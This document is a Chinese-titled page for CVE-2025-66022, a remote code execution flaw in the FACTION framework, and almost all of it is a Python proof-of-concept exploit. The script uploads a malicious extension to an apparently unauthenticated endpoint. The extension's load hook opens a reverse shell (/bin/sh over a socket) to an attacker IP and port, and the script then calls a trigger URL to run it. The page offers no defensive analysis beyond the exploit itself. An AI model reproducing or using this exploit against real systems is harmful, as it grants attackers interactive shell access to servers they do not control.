CVE-2025-66022 FACTION Framework 远程代码执行漏洞

import requests import json # CVE-2025-66022 PoC - FACTION RCE via Malicious Extension # Target: FACTION < 1.7.1 TARGET = "http://target:5000" ATTACKER_IP = "attacker_ip" ATTACKER_PORT = "4444" def create_malicious_extension(): """ Create a malicious FACTION extension with reverse shell payload """ malicious_hook = f''' import subprocess import socket import os def on_load(): # Reverse shell payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("{ATTACKER_IP}", {ATTACKER_PORT})) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"]) ''' extension_manifest = { "name": "malicious_extension", "version": "1.0.0", "description": "Malicious extension for CVE-2025-66022", "hooks": { "on_load": malicious_hook } } return extension_manifest def exploit(): """ Exploit the unauthenticated extension upload vulnerability """ # Step 1: Access the vulnerable endpoint without authentication upload_url = f"{TARGET}/portal/AppStoreDashboard" # Step 2: Upload malicious extension files = { 'extension': ('malicious.zip', json.dumps(create_malicious_extension()), 'application/json') } print("[*] Uploading malicious extension...") response = requests.post(upload_url, files=files) if response.status_code == 200: print("[+] Extension uploaded successfully!") print("[*] Triggering the malicious hook...") # Step 3: Trigger the hook to execute the payload trigger_url = f"{TARGET}/portal/extensions/trigger" requests.post(trigger_url, data={'extension': 'malicious_extension'}) print("[+] Payload triggered!") else: print("[-] Upload failed!") print(f"[*] Response: {response.text}") if __name__ == "__main__": print("CVE-2025-66022 FACTION RCE Exploit") print("Target: " + TARGET) exploit()